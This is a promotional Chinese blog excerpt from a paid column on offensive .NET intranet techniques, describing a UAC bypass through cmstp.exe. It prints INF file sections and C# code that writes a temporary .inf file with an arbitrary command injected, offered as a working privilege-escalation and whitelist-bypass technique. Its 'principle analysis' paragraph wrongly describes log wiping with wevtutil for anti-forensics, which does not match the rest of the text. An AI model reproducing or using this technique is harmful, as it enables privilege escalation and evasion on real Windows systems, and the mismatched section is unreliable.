.NET内网实战:调用CMSTP实现UAC绕过

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

本文内容部分节选自小报童《.NET 通过调用CMSTP进程实现UAC绕过》,完整的文章内容请加入小报童后订阅查看。现在限时只需59元,永久买断!目前已有280+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊!

03原理分析

在渗透测试或攻击活动中,清理日志是一项关键的操作,用于掩盖攻击者的行为,避免被防御者发现和追踪。通过 .NET 程序调用 wevtutil 命令,可以高效地清空所有的系统日志,这种方法具有较强的隐蔽性,能够绕过大部分传统的日志分析工具,为攻击者提供了一种强有力的反取证手段。

3.1 [version]

cmstp.exe的主要用途是帮助 IT 管理员或用户快速部署 VPN 配置或网络连接文件。一个合法的VPN配置信息一般包括网络配置、用户凭据、注册表修改、安装命令等内容。首先,我们看到配置文件中的头部version部分内容,具体如下所示.

[version]
Signature=$chicago$
AdvancedINF=2.5

此处的 Signature=$chicago$,是标准的 INF 文件签名,表示文件兼容 Windows.

3.2 [DefaultInstall]

在 CMSTP (Connection Manager Profile Installer) 的 INF 文件中,[DefaultInstall] 部分定义了安装过程中需要执行的主要任务。

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

CustomDestination 参数 表示指向一个逻辑节点(Section),通常是涉及文件自定义的安装位置。

3.3 [AllUser_LDIDSection]

此处的 [AllUSer_LDIDSection] 定义了注册表的修改操作,将安装路径写入 HKLM 的 InstallPath 键中。

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

此处配置的 CMMGR32.EXE 是 Windows 系统中的一个合法可执行文件,正常情况下通过cmstp.exe安装配置文件后,交由 CMMGR32.exe 加载执行。

3.4 编码实现

定义一个方法 SetInfFile,主要功能是动态随机生成一个 .inf 配置文件,并将指定的命令注入其中。

public static string SetInfFile(string CommandToExecute)
{
		string value = Path.GetRandomFileName().Split(new char[]
		{
			Convert.ToChar(".")
		})[0];
		string value2 = "C:\\windows\\temp";
		StringBuilder stringBuilder = new StringBuilder();
		stringBuilder.Append(value2);
		stringBuilder.Append("\\");
		stringBuilder.Append(value);
		stringBuilder.Append(".inf");
		StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
		stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
		File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
		return stringBuilder.ToString();
}

生成的 *.inf 扩展名文件位于 C:\windows\temp\ 目录下,另外, 替换模板中的占位符 REPLACE_COMMAND_LINE 为传入的命令 CommandToExecute,比如,如果传入 cmd.exe /c calc.exe,运行如下图所示。

图片

综上,通过对 cmstp.exe 的深入剖析,我们可以看到,合法工具在特定条件下同样可能成为攻击链中的关键环节。利用其对自定义 INF 文件的支持,攻击者能够在不触发传统安全防护机制的情况下,执行任意命令或代码,从而实现绕过白名单和权限提升的目标。

04.NET 电子报刊

我们的小报童电子报刊【.NET内网安全攻防】也开始运营,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高,那么可以订阅这个专栏。

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

原价899,现在限时只需59元,永久买断!目前已有280+位朋友抢先预定,我们会长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!

图片

 想要了解完整或者更多的内网安全方向的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊,报刊地址:小报童 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值